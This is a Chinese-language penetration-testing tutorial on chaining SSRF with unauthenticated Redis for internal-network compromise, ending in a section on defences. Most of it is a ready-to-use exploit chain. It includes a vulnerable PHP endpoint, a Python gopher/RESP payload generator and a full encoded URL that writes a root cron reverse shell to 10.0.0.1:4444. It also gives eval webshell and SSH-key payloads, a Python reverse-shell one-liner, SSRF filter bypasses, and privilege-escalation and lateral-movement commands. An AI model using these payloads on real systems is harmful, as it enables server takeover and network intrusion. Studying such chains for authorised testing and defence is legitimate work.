1. 项目概述从边界突破到内网沦陷在渗透测试或红队评估中我们常常会遇到一个看似“鸡肋”的漏洞点一个存在SSRF服务端请求伪造漏洞的Web应用。它可能只是一个图片预览功能或者一个URL转存接口攻击者似乎只能用它来探测一下内网端口。然而当这个SSRF漏洞与内网中一个配置不当的Redis服务相遇时故事的走向就完全不同了。这个组合拳能从外部一个不起眼的Web点直接撕开内网的口子拿到服务器权限甚至以此为跳板进行更深层次的横向移动。今天我就结合自己多次实战和靶场演练的经验来详细拆解“利用SSRF和Redis未授权访问进行内网渗透”的完整链条。这不仅仅是两个漏洞的简单叠加更是一套从信息收集、漏洞利用到权限获取、横向扩展的战术流程。无论你是安全研究人员、渗透测试工程师还是想深入了解内网攻防的开发者理解这个攻击链背后的原理、实操细节和防御思路都至关重要。2. 攻击链核心原理与前置条件拆解2.1 SSRF为何能成为内网的“眼睛”与“手”SSRF的本质是攻击者能够诱使服务器应用程序向攻击者指定的任意地址发起网络请求。这相当于你暂时“借用”了服务器的网络权限和身份。一个典型的场景是一个网站提供了“通过URL获取并显示远程图片”的功能。正常用户提交一个公网图片链接服务器去抓取并显示。但如果这个功能没有对用户输入的URL做严格校验攻击者就可以提交一个指向服务器自身127.0.0.1或内网其他机器如192.168.1.10的地址。为什么SSRF危险绕过网络边界防火墙通常严格限制外部到内部的访问但服务器本身位于内网它从内部发起的请求往往畅通无阻。SSRF让攻击者得以窥探和访问本应被隔离的内网服务。协议支持多样性除了常见的HTTP/HTTPS许多编程语言的网络库或函数如PHP的file_get_contents()、curl可能支持更多协议如file://读取本地文件、dict://字典协议、gopher://一个古老的、支持发送原始TCP数据包的协议。gopher协议在这里是攻击Redis的关键因为它允许我们构造任意的TCP数据包发送给内网的Redis服务。请求来源可信请求发自内部的应用服务器其流量可能不会被内部入侵检测系统IDS标记为异常也更容易通过一些基于IP的白名单校验。实操心得在测试SSRF时不要只盯着返回内容。有时服务器请求了但可能因为目标端口关闭、协议不支持或返回错误而没有任何回显。这时利用DNSLog或Burp Collaborator这类外部交互平台来接收DNS查询或HTTP请求是判断“盲SSRF”是否存在的最佳方法。2.2 Redis未授权访问为何是绝佳的“后门”安装器Redis是一款高性能的键值数据库默认监听在6379端口。为了追求极致的性能与简便其在初始安装后默认配置存在几个致命问题默认无密码认证配置文件redis.conf中的requirepass参数默认为空这意味着任何能连接到Redis端口的人都可以执行任意命令无需身份验证。默认绑定所有接口bind参数默认是127.0.0.1但很多管理员为了远程连接方便会将其改为0.0.0.0使得Redis服务暴露在网络上。高危命令未禁用CONFIG、SAVE、FLUSHALL等命令权限极高可以修改Redis配置、保存数据到磁盘。攻击者正是利用CONFIG SET命令来改变Redis持久化文件RDB的保存路径和文件名。攻击逻辑攻击者通过SSRF以服务器的身份向内部的Redis服务发送指令。利用Redis未授权访问攻击者可以CONFIG SET dir /var/www/html将Redis的持久化目录设置为Web根目录。CONFIG SET dbfilename shell.php将持久化文件名设置为一个PHP文件。SET x “?php eval($_POST[‘cmd’]);?”将一个键值对的值设置为PHP一句话木马。SAVE触发Redis将内存数据保存到磁盘。由于目录和文件名已被修改这个操作就会在/var/www/html目录下生成一个包含恶意代码的shell.php文件。至此攻击者就通过Web服务器在Redis服务器上植入了一个WebShell。2.3 攻击链成立的关键条件这个组合攻击的成功依赖于几个环环相扣的条件缺一不可存在一个可被利用的SSRF漏洞点并且该漏洞点所在的服务器环境如PHP支持gopher://或dict://协议或者允许通过其他方式如fsockopen发起原始TCP连接。内网存在Redis服务且未授权访问Redis服务监听在内网IP上且未设置密码允许任意连接。Redis服务运行权限较高通常Redis进程以redis或root用户运行。如果要写入/root/.ssh/authorized_keys或/var/spool/cron/目录则需要root权限。如果要写入Web目录则需要对该目录有写权限。网络路径可达存在SSRF漏洞的服务器必须能通过网络访问到目标Redis服务的IP和端口默认6379。这通常意味着它们在同一个内网段或者有路由可达。3. 漏洞探测与利用环境搭建3.1 靶场环境模拟为了清晰地复现整个流程我们可以在本地搭建一个简单的靶场环境。这里我使用Docker来快速构建这比用虚拟机更方便也更容易还原多种场景。环境组件脆弱Web应用Vuln_Web运行一个存在SSRF漏洞的PHP应用。内网Redis服务器Internal_Redis运行一个未设置密码的Redis服务绑定在0.0.0.0。攻击者机器Attacker使用Kali Linux或任何安装有渗透测试工具的机器。Docker Compose 配置 (docker-compose.yml):version: 3 services: vuln-web: image: php:7.4-apache container_name: vuln-web ports: - 8080:80 volumes: - ./web:/var/www/html networks: - internal-net internal-redis: image: redis:5.0 container_name: internal-redis command: redis-server --bind 0.0.0.0 networks: - internal-net networks: internal-net: driver: bridge搭建步骤创建项目目录并新建docker-compose.yml文件将上述内容粘贴进去。创建web目录并在其中放置我们的漏洞PHP文件ssrf.php。启动环境docker-compose up -d。3.2 SSRF漏洞点代码示例在./web/ssrf.php中我们编写一个存在SSRF漏洞的简单页面?php // ssrf.php - 一个存在SSRF漏洞的图片抓取功能 if (isset($_GET[url])) { $url $_GET[url]; // 危险操作未对$url进行任何过滤和校验 $content file_get_contents($url); // 假设我们处理的是图片直接输出 header(Content-Type: image/jpeg); // 这里仅为示例实际可能根据内容判断 echo $content; } else { highlight_file(__FILE__); } ?这个代码的问题一目了然file_get_contents($_GET[‘url’])直接使用了用户输入的参数。PHP的file_get_contents函数支持多种协议包装器包括http://、file://、gopher://等取决于PHP版本和配置。3.3 初步探测确认SSRF与发现Redis首先我们从攻击者视角开始。假设我们已经通过信息收集发现了http://target.com:8080/ssrf.php这个可疑端点。步骤1验证SSRF存在我们使用一个公开的请求测试服务如http://httpbin.org/get或自己搭建的接收服务器。http://target.com:8080/ssrf.php?urlhttp://your-burp-collaborator-domain.com如果我们的接收服务器收到了来自目标服务器IP的请求则证明SSRF漏洞存在。步骤2探测内网网段与Redis端口由于我们通过Docker模拟知道Redis在internal-redis容器假设IP为172.18.0.3上。但在真实黑盒测试中我们需要猜测内网网段。常见的内网网段有192.168.0.0/1610.0.0.0/8172.16.0.0/12。我们可以利用dict协议进行快速端口探测因为dict协议在连接成功后通常会返回一个简单的 banner。尝试探测192.168.1.1的6379端口http://target.com:8080/ssrf.php?urldict://192.168.1.1:6379/info如果返回-ERR unknown command info或类似的Redis错误信息恭喜你说明该IP的6379端口开放并且运行着Redis服务因为dict服务器不会响应info命令只有Redis会。如果连接超时或拒绝则端口可能关闭或不可达。如果返回OKdict协议的标准成功响应则可能是dict服务。注意事项dict协议在某些环境下可能被禁用。此外大规模端口扫描会产生大量请求可能触发告警。更隐蔽的方式是结合已有信息如子域名、其他服务banner来推测可能的IP段或者使用gopher协议进行更精准的探测。4. 利用Gopher协议攻击Redis的实战解析4.1 Gopher协议原始TCP的传送门gopher是一个古老的协议但其设计简单到足以成为我们的利器它允许客户端通过一个URL格式的请求向指定服务器和端口发送一段任意的TCP数据流。其URL格式为gopher://host:port/_TCP数据流注意_后面的数据会被直接作为TCP载荷发送。我们需要做的就是将Redis命令按照其通信协议RESP格式编码然后进行URL编码拼接在这个URL后面。4.2 Redis通信协议RESP速成Redis客户端与服务端通过TCP通信使用一种名为RESPREdis Serialization Protocol的简单协议。我们构造攻击载荷必须遵循这个格式。RESP基本类型简单字符串Simple Strings以开头如OK\r\n。错误Errors以-开头如-ERR unknown command\r\n。整数Integers以:开头如:1\r\n。批量字符串Bulk Strings以$开头后跟字符串长度然后是字符串本身以\r\n结尾。例如发送命令SET key value中的SET需要编码为$3\r\nSET\r\n。数组Arrays以*开头后跟数组元素个数。Redis命令通常以数组形式发送。例如命令FLUSHALL无参数编码为*1\r\n$8\r\nFLUSHALL\r\n。命令CONFIG SET dir /tmp编码为*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$4\r\n/tmp\r\n。关键点每个部分都必须以\r\nCRLF结束。在构造Payload时\r\n需要被编码为%0D%0A。4.3 手工构造攻击Payload以写入定时任务为例假设我们的攻击机IP是10.0.0.1监听4444端口。我们想在内网Redis服务器172.18.0.3:6379上写入一个定时任务每分钟反弹一个shell。目标命令序列Redis CLI中执行FLUSHALL CONFIG SET dir /var/spool/cron CONFIG SET dbfilename root SET x \n\n* * * * * bash -i /dev/tcp/10.0.0.1/4444 01\n\n SAVE步骤1将每条命令转换为RESP格式FLUSHALL-*1\r\n$8\r\nFLUSHALL\r\nCONFIG SET dir /var/spool/cron-*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$16\r\n/var/spool/cron\r\n(注意/var/spool/cron长度是16)CONFIG SET dbfilename root-*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$4\r\nroot\r\nSET x “\n\n…\n\n”- 这里需要小心处理引号和换行符。我们先构造字符串\n\n* * * * * bash -i /dev/tcp/10.0.0.1/4444 01\n\n。假设这个字符串长度为len。命令为*3\r\n$3\r\nSET\r\n$1\r\nx\r\n$len\r\n\n\n* * * * * bash -i /dev/tcp/10.0.0.1/4444 01\n\n\r\nSAVE-*1\r\n$4\r\nSAVE\r\n步骤2拼接所有命令并进行URL编码将上述所有RESP字符串拼接成一个长字符串然后对整个字符串进行URL编码。编码时需要注意\r\n已经被我们表示为两个字符编码时会变成%0D%0A。但更稳妥的做法是在代码中直接生成二进制数据流然后对整个流进行编码。步骤3使用Python脚本自动化生成手工构造极易出错下面是一个可靠的Python生成脚本import urllib.parse def generate_redis_protocol(*args): 将Redis命令转换为RESP协议格式的二进制数据 resp f*{len(args)}\r\n.encode() for arg in args: arg_bytes arg.encode() if isinstance(arg, str) else arg resp f${len(arg_bytes)}\r\n.encode() resp arg_bytes resp b\r\n return resp # 定义要执行的命令序列 commands [ [FLUSHALL], [CONFIG, SET, dir, /var/spool/cron], [CONFIG, SET, dbfilename, root], [SET, x, \n\n* * * * * bash -i /dev/tcp/10.0.0.1/4444 01\n\n], [SAVE] ] # 生成完整的Redis协议数据流 payload b for cmd in commands: payload generate_redis_protocol(*cmd) # 转换为Gopher URL # 注意gopher:// 后需要加一个下划线 _然后跟经过URL编码的payload gopher_payload gopher://172.18.0.3:6379/_ urllib.parse.quote(payload) print(生成的Gopher Payload URL:) print(gopher_payload)运行这个脚本你会得到一个很长的、经过URL编码的字符串它以gopher://172.18.0.3:6379/_开头。步骤4通过SSRF触发在攻击机上启动Netcat监听4444端口nc -lvnp 4444。 然后将生成的完整URL作为参数发送给存在SSRF的端点http://target.com:8080/ssrf.php?urlgopher://172.18.0.3:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2410%0D%0A%2Fvar%2Fspool%2Fcron%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0Ax%0D%0A%2457%0D%0A%0A%0A%2A%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.0.1%2F4444%200%3E%261%0A%0A%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A如果一切顺利服务器会通过file_get_contents发起这个Gopher请求将我们构造的Redis命令发送给内网的Redis。Redis执行后会在/var/spool/cron/目录下创建或覆盖一个名为root的文件内容包含我们的反弹Shell命令。等到下一分钟Cron任务每分钟检查一次你就会在Netcat监听端收到一个来自Redis服务器的反向Shell连接。4.4 其他利用方式与选择除了写入定时任务还有几种常见的利用方式成功率因环境而异1. 写入WebShell这是最直观的方式前提是知道Web目录的绝对路径如/var/www/html。CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SET x ?php eval($_POST[cmd]);? SAVE然后访问http://redis-server-ip/shell.php用蚁剑、菜刀等工具连接即可。成功率相对较高但需要Web目录有写权限。2. 写入SSH公钥前提是Redis以root用户运行且/root/.ssh/目录存在。在攻击机生成密钥ssh-keygen -t rsa。将公钥id_rsa.pub内容前后加上换行符通过Redis的SET命令写入。设置目录和文件名CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys SET x \n\nssh-rsa AAAAB3NzaC1yc2E...你的公钥...\n\n SAVE使用ssh -i id_rsa rootredis-server-ip登录。成功率较低因为很多生产环境的Redis不以root运行且可能禁用SSH密钥登录。3. 主从复制RCERedis 4.x/5.x这是一种更高级的攻击方式不依赖写入文件。攻击者将自己伪装成Redis主节点Master让目标Redis作为从节点Slave同步数据。攻击者可以同步一个恶意的Redis模块.so文件然后加载执行。这种方式对Redis版本有要求且需要攻击者能开放一个端口供目标Redis连接在纯SSRF场景下实施难度较大通常需要结合其他漏洞进行端口转发。实操心得写入定时任务的坑目录问题不同Linux发行版的Cron任务目录可能不同。常见的有/var/spool/cron/CentOS/RHEL系和/var/spool/cron/crontabs/Debian/Ubuntu系。如果写错目录任务不会执行。权限问题Redis进程用户通常是redis必须对目标目录有写权限。/var/spool/cron/目录通常权限是drwx-wx--T属主是root但同组和其他用户有写和执行权限redis用户通常属于redis组可能没有写入权限。写入/tmp目录成功率更高但需要其他方式触发。文件格式Cron文件有严格的格式多余的换行或空格可能导致任务不被解析。确保Payload中的换行符\n正确编码。网络出站限制即使成功写入并执行了反弹Shell命令如果目标服务器有严格的出站防火墙规则连接也可能无法建立。5. 绕过技巧与高级利用场景在实际渗透中直接使用gopher://协议可能会被WAF或应用自身的过滤规则拦截。此外内网环境可能更加复杂。下面分享一些绕过和深入利用的思路。5.1 SSRF绕过技巧利用URL解析差异使用符号http://foo127.0.0.1:80可能被解析为访问127.0.0.1:80而忽略foo。有些过滤器只检查://到第一个/之间的部分可以利用http://127.0.0.1:80evil.com来绕过对evil.com的过滤但实际效果取决于解析库。利用IPv6地址http://[::]:80/或http://[::ffff:127.0.0.1]/可能绕过对127.0.0.1的字符串匹配。利用进制、八进制、十六进制IP表示http://0x7f000001/(127.0.0.1的十六进制)http://0177.0.0.1/(八进制)。可以使用工具快速转换。利用句号。或全角字符在某些环境下http://192。168。1。1可能被某些解析器正常解析但绕过简单的正则匹配。利用重定向如果服务器在发起请求前会跟随重定向可以先将URL指向一个攻击者控制的服务器该服务器返回一个302 Found重定向响应Location头指向内网目标如dict://127.0.0.1:6379/info。这样SSRF的第一次请求是合法的外网地址第二次重定向请求才访问内网。利用非标准端口Redis不一定在6379可能是其他端口。结合内网服务探测尝试常见端口如6379, 6380, 26379Sentinel等。5.2 攻击链的横向扩展一旦通过Redis Getshell拿到了一台内网服务器的权限我们的工作才刚刚开始。1. 信息收集网络信息ifconfig/ip addrnetstat -antp/etc/hostsarp -a。用户与进程whoami,id,ps aux,cat /etc/passwd。密码与密钥查找配置文件如Web、数据库、历史命令history、bash历史文件~/.bash_history、SSH密钥~/.ssh/。Redis自身redis-cli连接本地Redis执行CONFIG GET *查看配置KEYS *查看数据可能发现其他应用的敏感信息。2. 权限提升检查Redis进程权限ps aux | grep redis如果不是root尝试寻找本地提权漏洞。查看系统内核版本uname -a搜索对应的公开Exp。检查是否有sudo权限sudo -l或者SUID/GUID文件find / -perm -us -type f 2/dev/null。3. 内网横向移动端口扫描利用已控服务器作为跳板扫描内网其他网段。可以使用nmap、masscan或者简单的bash脚本for i in {1..254}; do timeout 1 bash -c “echo /dev/tcp/192.168.1.$i/22” 2/dev/null echo “192.168.1.$i:22 open”; done。密码爆破与重用收集到的密码、密钥尝试登录其他服务器SSH、MySQL、Redis等。利用其他服务漏洞扫描发现的Web应用、数据库等尝试利用已知漏洞。搭建代理在已控服务器上部署SOCKS5代理如ew、frp、nps将攻击机的流量代理进内网方便后续使用图形化工具进行渗透。6. 防御方案与加固建议理解了攻击原理防御就变得有章可循。防御需要从应用层SSRF和基础设施层Redis同时入手。6.1 防御SSRF漏洞输入校验与白名单这是最有效的方法。如果业务只需要访问特定的几个外部资源直接使用白名单机制。如果必须允许用户输入URL则进行严格的校验协议限制只允许http://和https://。域名/IP限制解析URL得到的主机名或IP检查是否在允许的白名单内。禁止访问回环地址127.0.0.1, localhost、私有IP段10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16和链路本地地址169.254.0.0/16。使用正则表达式时注意绕过确保正则匹配的是整个主机部分并考虑各种绕过技巧。禁用危险协议在PHP中可以通过php.ini的allow_url_fopen和allow_url_include进行控制但更关键的是避免使用file_get_contents、fsockopen等支持多协议的函数。优先使用只支持HTTP/HTTPS的库如GuzzlePHP、RequestsPython。使用中间代理或解析服务不直接从用户提供的URL获取内容。设计一个代理服务由该服务负责获取内容。代理服务部署在独立的、网络权限受限的服务器上并且只允许访问白名单地址。网络层隔离运行Web应用的服务器其出站网络访问应受到严格限制。通过安全组、防火墙或主机防火墙iptables只允许其访问业务必需的外部地址和端口坚决禁止访问内网的管理端口如6379, 3306, 22等。6.2 加固Redis服务设置强密码在redis.conf中取消requirepass的注释并设置一个复杂密码。这是最基本也是最重要的措施。requirepass YourStrongPasswordHere绑定监听地址修改redis.conf中的bind配置只绑定到必要的IP地址。如果Redis只被本机应用访问就绑定127.0.0.1。bind 127.0.0.1启用保护模式Redis 3.2之后引入了保护模式protected-mode。当Redis未设置密码且绑定在非回环地址时保护模式会拒绝外部连接。确保protected-mode yes。修改默认端口将端口从默认的6379改为其他端口增加攻击者的扫描成本。port 6380以低权限用户运行不要以root用户运行Redis。创建一个专用的redis用户和用户组并以该用户身份运行Redis服务。useradd -r -s /bin/false redis禁用或重命名高危命令通过redis.conf的rename-command配置将CONFIG、FLUSHALL、EVAL等危险命令重命名为随机字符串或者直接禁用重命名为空字符串。rename-command CONFIG “” rename-command FLUSHALL “” rename-command FLUSHDB “” rename-command KEYS “”注意禁用CONFIG命令可能会影响某些运维操作需权衡。网络访问控制通过服务器防火墙或云服务商安全组严格限制访问Redis端口的源IP。只允许特定的应用服务器IP访问。6.3 纵深防御与监控定期漏洞扫描与配置审计使用自动化工具定期扫描内网发现未授权访问的Redis、MySQL等服务。检查关键服务器的安全配置。日志监控与分析集中收集Web服务器、Redis服务器的访问日志和错误日志。监控异常访问模式例如来自Web服务器的异常Redis连接请求、大量的CONFIG命令执行等。入侵检测在关键网络节点部署IDS/IPS设置规则检测SSRF攻击特征如请求中包含gopher://、dict://、内网IP和Redis未授权访问尝试。最小权限原则所有服务包括Web应用和数据库都遵循最小权限原则运行。Redis进程不需要root权限Web应用服务器不需要访问内网管理端口。7. 实战中常见问题与排查实录在实际利用过程中你可能会遇到各种各样的问题。下面是我踩过的一些坑和对应的排查思路。问题1SSRF请求发出去了但Redis没反应Netcat也没收到反弹Shell。排查网络连通性首先确认存在SSRF的服务器是否能访问目标Redis的IP和端口。可以在已控的Web服务器上执行telnet 172.18.0.3 6379或nc -zv 172.18.0.3 6379。如果不通可能是防火墙规则、网络策略或Redis绑定地址问题。检查Redis配置登录Redis服务器查看redis.conf确认bind设置和protected-mode。查看Redis日志通常/var/log/redis/redis-server.log是否有连接拒绝的记录。检查Payload编码这是最常见的问题。确保RESP格式完全正确每个\r\n都编码为%0D%0A。使用我们提供的Python脚本生成Payload比手工构造可靠得多。可以先用脚本生成一个简单的PING命令Payload进行测试gopher://.../_%2A1%0D%0A%244%0D%0APING%0D%0A。如果Redis返回PONG可能会显示在Web响应中说明协议通了。检查PHP环境确认PHP的allow_url_fopen是否为On以及是否支持gopher协议包装器。对于高版本PHP5.3gopher://可能被禁用。此时可以尝试使用fsockopen函数手动构造TCP请求的SSRF利用方式或者尝试dict协议。问题2Redis命令执行成功返回OK但文件没有生成或生成后命令没有执行。检查目录和文件权限通过其他途径如已存在的WebShell、其他漏洞查看目标目录是否存在以及Redis进程用户是否有写权限。ls -la /var/spool/cron/。检查Cron服务系统Cron服务crond是否在运行ps aux | grep cron。有些Docker镜像或最小化系统可能没有安装Cron。检查文件内容查看写入的文件内容是否正确。cat /var/spool/cron/root。注意开头的空行和结尾的空行是否过多Cron对格式要求严格。检查反弹Shell命令的兼容性bash -i /dev/tcp/...是Bash的特性。确保目标系统的默认Shell是Bash并且/dev/tcp这个特性可用大多数Linux发行版的Bash都支持。如果不确定可以尝试使用更通用的nc或python反弹Shell命令。问题3写入WebShell成功但访问时返回500错误或空白页。检查PHP标签确保写入的PHP代码标签是完整的?php ... ?并且没有因为编码问题被破坏。检查文件权限WebShell文件是否对Web服务器进程用户如www-datanginx有读权限。检查PHP配置目标服务器是否安装了PHP是否禁用了eval等危险函数disable_functions查看Web服务器错误日志如/var/log/nginx/error.log获取具体错误信息。问题4利用成功但反弹Shell连接不稳定或立即断开。检查出站防火墙目标服务器可能限制了出站连接。尝试连接其他常见端口如80 443看是否通。使用更稳定的反向Shell可以尝试使用mkfifo或python -c “import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘10.0.0.1’,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([‘/bin/sh’,’-i’]);”。尝试绑定Shell如果出站限制严格可以尝试在目标服务器上监听一个端口攻击机主动连接上去。但这种方式通常需要目标服务器没有入站防火墙限制且需要解决TTY和交互问题。这个攻击链的威力在于其串联性一个看似低危的SSRF在内网脆弱服务的加持下能演变成一次完整的权限突破。对于防御方而言修补任何一个环节修复SSRF或加固Redis都能有效阻断整个攻击链。安全是一个整体任何一环的疏忽都可能成为突破口。对于攻击方在授权测试中理解并熟练运用这种链式攻击是评估内网真实风险的关键技能。在实战中耐心、细致的排查和对底层协议的理解往往是成功与否的决定因素。